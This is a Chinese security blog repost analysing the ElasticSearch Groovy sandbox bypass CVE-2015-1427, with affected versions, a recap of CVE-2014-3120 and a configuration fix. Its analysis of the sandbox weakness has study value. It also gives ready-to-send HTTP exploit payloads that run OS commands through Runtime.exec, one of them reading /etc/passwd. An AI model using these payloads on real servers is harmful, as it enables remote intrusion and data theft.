`
m635674608
  • 浏览: 5027878 次
  • 性别: Icon_minigender_1
  • 来自: 南京
社区版块
存档分类
最新评论

ElasticSearch Groovy脚本远程代码执行漏洞分析(CVE-2015-1427) (附exp)

 
阅读更多

ElasticSearch是一个JAVA开发的搜索分析引擎。

2014年,曾经被曝出过一个远程代码执行漏洞(CVE-2014-3120),漏洞出现在脚本查询模块,由于搜索引擎支持使用脚本代码(MVEL),作为表达式进行数据操作,攻击者可以通过MVEL构造执行任意java代码,

后来脚本语言引擎换成了Groovy,并且加入了沙盒进行控制,危险的代码会被拦截,结果这次由于沙盒限制的不严格,导致远程代码执行,目前网上还没看到公开的poc(下面有secpulse.com的POC),经过一番研究,发现了利用方式,下面来看看漏洞是如何产生的。

Groovy是一种运行在JVM上的脚本语言,语法和java很像,同样可以调用java中的各种对象和方法,但是Groovy的语法更简单。

groovy

 

首先,我们执行一段带脚本的查询代码:

POST http://127.0.0.1:9200/_search?pretty HTTP/1.1

User-Agent: es

Host: 127.0.0.1:9200

Content-Length: 184

{

"size":1,

"script_fields": {

"lupin": {

"script": "1 + 6"

}

}

}

 

上面的请求中1+6,就是我们执行的脚本代码,下面的返回中的7就是执行结果:

11

 

下面再试着执行一下这段代码

POST http://127.0.0.1:9200/_search?pretty HTTP/1.1

User-Agent: es

Host: 127.0.0.1:9200

Content-Length: 184

{

"size":1,

"script_fields":{

"lupin": {

"script": "newjava.lang.ProcessBuilder(\“calc\”)"

}

}

}

 

执行之后,报了错,从错误中可以看到,构造java.lang.ProcessBuilder对象是不允许的:

22

 

下面我们看看ElasticSearch沙盒的相关代码,实现沙盒的类是com.elasticsearch.script.groovy.GroovySandboxExpressionChecker,它订制了Groovy的沙盒,对表达式进行了安全检测,但是这个沙盒与JAVA的SecurityManager那种沙盒是不同的,从代码中可以看到这个沙盒,只是根据黑白名单,在表达式语义上判断表达式是否合法的,可以说是一个“浅”沙盒,简单来来说,比如沙盒设置不允许调用shell()这个方法,直接调用shell()方法,沙盒在表达式中发现了shell()这个字符串,就会报非法调用,但是如果有一个方法叫poc()这个方法中调用了shell()方法(poc(){shell()}),当调用poc()方法的时候,shell()方法也就被间接调用了沙盒并不会报错。

具体来说isAuthorized(Expression expression)方法如果返回false,说明表达式非法,true则合法,从isAuthorized方法的实现中可以看到,它根据黑白名单对方法调用和对象构造都进行了检测:

33
44

55

从上面的白名单中可以看到,允许构造对象和方法调用的类,都是一些常规类,没有我们可以利用的类,而且如果我们想要利用反射去调用我们想调用的类,方法黑名单中又限制了getClass的调用,我们无法通过getClass方法获取Class对象,但是我们可以看到方法白名单中,并没有对forName方法进行限制,也就是说,如果我们能获取到Class对象,再调用forName方法就可以获取到我们想访问的类。

那么我们如何能够获取一个Class对象呢?首先我想到的是通过java.lang.String.class这样的方式,通过class让JVM返回String类的class对象,可以看到的确获取到了Class对象:

66

 

那么我们在试试可不可以通过这个Class对象调用forName方法,加载java.lang.Runtime这个我们最想要的类,可惜报错了:

77

 

出错的原因是java.lang.String这个类是不允许进行方法调用的,只有在上面defaultReceiverWhiteList这个白名单中的类,才可以进行方法调用,这个控制是在Groovy沙盒类org.codehaus.groovy.control.customizers.SecureASTCustomizer中做的判断:

88

 

既然这样,思路就又有了,我们就拿这个白名单中的类获取Class对象,然后再调用forName方法,是不是就可以突破这个限制了,我这里使用java.lang.Math这个类来试试,这个类是在recevicer白名单中的,可以看到成功获取了java.lang.Runtime类:

POST http://127.0.0.1:9200/_search?prettyHTTP/1.1

User-Agent: es

Host: 127.0.0.1:9200

Content-Length: 132

{

"size":1,

"script_fields": {

"lupin": {

"script": "java.lang.Math.class.forName(\“java.lang.Runtime\”)"

}

}

}

99

 

有了Runtime类,后面的事情就好办了要调用到的各种方法都不在方法黑名单里面,我这里就不公布具体POC了,看懂上面原理的同学自然明白:

 

 

POC(CVE-2015-1427)

基本姿势
http://ip:9200/_search/


{
  "size": 1,
  "script_fields": {
    "secpulse": {
      "script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"COMMAND\")",
      "lang": "groovy"
    }
  }
}

 

Exp

http://ip:9200/_search/

POST

{
    "size":1,
    "script_fields": {
       "secpulse": {
         "script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()",
       "lang": "groovy"
  }
  }
}

 

感谢某MM 利用姿势 直接反弹

exp_1 exp_2

 

回顾:CVE-2014-3120

http://www.secpulse.com/archives/3604.html

elasticSearch是一个基于Lucene构建的开源,分布式,RESTful搜索引擎。设计用于云计算中,能够达到实时搜索,稳定,可靠,快速,安装使用方便。

elasticsearch 本身没有访问控制(SP小编提醒:可以安装Http Basic插件),任何通过http api搜索es中存储的结果,可以用put请求来update存储结果。

 

elasticsearch启动默认端口为9200,可以看到集群版本信息如图:

elasticsearch

elasticsearch早于1.2.0版本中存在远程代码执行漏洞,cve版本号为:CVE-2014-3120

elasticsearch_hacking

 

使用metasploit溢出存在漏洞的集群,成功获取权限。

lascon-2014-devooops-68-1024

 

elasticsearch自带一个Kibana图表展示 非常方便

lascon-2014-devooops-70-1024

影响版本

此次RCE漏洞版本 Elasticsearch versions 1.3.0-1.3.7 and 1.4.0-1.4.2

 

修复参考:

关闭外网 关闭groovy script
在elasticsearch.yml加script.groovy.sandbox.enabled: false

配置完需重启es服务

参考

http://www.elasticsearch.org/blog/elasticsearch-1-4-3-and-1-3-8-released/

https://github.com/elasticsearch/elasticsearch/blob/4dc060527cd7d35817085a3926e65d071e3b1321/src/main/java/org/elasticsearch/script/groovy/GroovySandboxExpressionChecker.java

 

【作者:京东安全应急响应中心Lupin  POC和后续回顾由安全脉搏编辑发布 】

 

https://www.secpulse.com/archives/5047.html

分享到:
评论

相关推荐

    ElasticSearch 远程代码执行漏洞分析(CVE-2015-1427)&高级利用方法1

    ElasticSearch 远程代码执行漏洞分析(CVE-2015-1427)&高级利用方法1 ElasticSearch 是一个基于 Lucene 的搜索引擎,提供了强大的搜索功能。然而,在 2015 年,一种远程代码执行漏洞(CVE-2015-1427)被发现,影响...

    解决 SSL/TLS协议信息泄露漏洞(CVE-2016-2183) ps1 文件

    解决 SSL/TLS协议信息泄露漏洞(CVE-2016-2183) ps1 文件

    Elasticsearch Groovy 远程代码执行漏洞1

    总结来说,Elasticsearch Groovy 远程代码执行漏洞是由于不安全的脚本执行环境和Groovy 动态语言的特性导致的。为了保护系统安全,管理员需要理解这些风险,并采取适当的措施来加强安全配置,包括限制脚本执行、及时...

    跨站脚本执行漏洞详解与防护

    本文主要介绍跨站脚本执行漏洞的成因,形式,危害,利用方式,隐藏技巧,解决方法和常见问题 (FAQ),由于目前介绍跨站脚本执行漏洞的资料还不是很多,而且一般也不是很详细,所以希望本文能够 比较详细的介绍该...

    漏洞利用:其他漏洞利用代码

    当前漏洞利用(索引可能已过时) phpMoAdmin远程执行代码(CVE-2015-2208) LotusCMS远程执行代码(OSVDB-75095) ElasticSearch远程执行代码(CVE-2015-1427) ShellShock(httpd)远程执行代码(CVE-2014-6271) ...

    ES文件浏览器打开端口漏洞--- CVE-2019-6447:ES文件资源管理器打开端口漏洞-CVE-2019-6447

    ES文件浏览器打开端口漏洞--- CVE-2019-6447:ES文件资源管理器打开端口漏洞-CVE-2019-6447

    0、漏洞说明.docx

    1. ActiveMQ 反序列化漏洞(CVE-2015-5254):这是一个允许攻击者通过发送恶意构造的序列化对象来执行远程代码的漏洞。攻击者可以利用此漏洞在受影响的ActiveMQ服务器上执行任意代码,从而获取对系统的控制。 2. ...

    openssl0.9.8.1101和openssh5.2p1 forAIX5.3 AIX6.1

    描述中提到的"CVE-2008-5161"是一个已知的安全漏洞,称为"CBC模式的信息泄露漏洞"。CBC(Cipher Block Chaining)是一种常用的块密码操作模式,当使用CBC模式的加密算法时,如果攻击者能够拦截并改变中间的加密...

    实验室:用于安全性分析的漏洞实验室

    名称描述CVE-2015-5531 1.6.1之前的Elasticsearch中的目录遍历漏洞允许远程攻击者通过与快照API调用相关的未指定向量读取任意文件。 CVE-2016-1909 5.0.12之前的Fortinet FortiAnalyzer和5.2.5之前的5.2.x; 3.3.3...

    《安全参考》HACKCTO-201503-27

    2. **ElasticSearch Groovy脚本远程代码执行漏洞分析(CVE-2015-1427)**:讨论了ElasticSearch中的一个远程代码执行漏洞。 3. **Jetty web server远程共享缓冲区泄漏分析(CVE-2015-2080)**:解释了Jetty Web...

    elasticsearch未授权访问 漏洞修复

    Elasticsearch 是一个流行的开源全文搜索引擎,常用于大数据分析和实时数据检索。然而,如果没有正确配置安全设置,它可能会暴露于未授权访问的风险中,这可能导致数据泄露或恶意操作。本文将详细讲解如何修复 ...

    2022年HW前沿漏洞利用库.pdf

    中间件漏洞部分涵盖了Apache Struts2、Weblogic、Jboss、Tomcat、ElasticSearch、Apache家族、Fastjson和WSO2等多个中间件的漏洞。这些漏洞可能会导致远程代码执行、数据泄露和服务崩溃等问题。 OA漏洞部分涵盖了...

    Elasticsearch 开机自启脚本

    `start` 用于启动Elasticsearch,这里使用 `su` 命令切换到指定的Elasticsearch用户(例如 `es-admin`),然后进入Elasticsearch的安装目录并执行 `bin/elasticsearch` 文件以后台模式启动服务。`stop` 通过查找并杀...

    elasticsearch-rest-high-level-client-6.8.3-API文档-中文版.zip

    赠送源代码:elasticsearch-rest-high-level-client-6.8.3-sources.jar; 赠送Maven依赖信息文件:elasticsearch-rest-high-level-client-6.8.3.pom; 包含翻译后的API文档:elasticsearch-rest-high-level-client-...

    elasticsearch-7.7(内含一键安装脚本)

    总之,Elasticsearch 7.7 版本结合一键安装脚本 `installES.sh`,使得用户能快速搭建和使用这个强大的全文搜索引擎,无论是对大规模数据的快速检索,还是对实时分析的需求,都能提供优秀的解决方案。

    elasticsearch-analysis-dynamic-synonym-7.2.0

    Elasticsearch(ES)是一款功能强大的全文搜索引擎,广泛应用于数据检索、数据分析等领域。为了提高搜索的准确性和便利性,Elasticsearch提供了丰富的分析插件,其中"elasticsearch-analysis-dynamic-synonym-7.2.0...

    elasticsearch-rest-high-level-client-6.8.3-API文档-中英对照版.zip

    赠送源代码:elasticsearch-rest-high-level-client-6.8.3-sources.jar; 赠送Maven依赖信息文件:elasticsearch-rest-high-level-client-6.8.3.pom; 包含翻译后的API文档:elasticsearch-rest-high-level-client-...

    ES同义词插件 elasticsearch-analysis-dynamic-synonym-6.5.1.rar

    在IT领域,尤其是在搜索引擎优化和大数据分析中,Elasticsearch(ES)是一个广泛使用的开源全文检索引擎。它基于Lucene库,提供了分布式、实时、高可用性以及容错能力的数据存储和搜索解决方案。本篇文章将重点讲解...

    2022年护网行动漏洞库

    - **CVE-2022-23257、CVE-2022-24537、CVE-2022-22008**: 这三个漏洞均与Windows Hyper-V虚拟化技术相关,允许远程代码执行和虚拟机逃逸。受影响的版本包括Windows 10多个版本、Windows Server 2016、2019和2022。...

    elasticsearch-rest-client-6.8.3-API文档-中文版.zip

    赠送jar包:elasticsearch-rest-client-6.8.3.jar; 赠送原API文档:elasticsearch-rest-client-6.8.3-javadoc.jar; 赠送源代码:elasticsearch-rest-client-6.8.3-sources.jar; 赠送Maven依赖信息文件:elastic...

Global site tag (gtag.js) - Google Analytics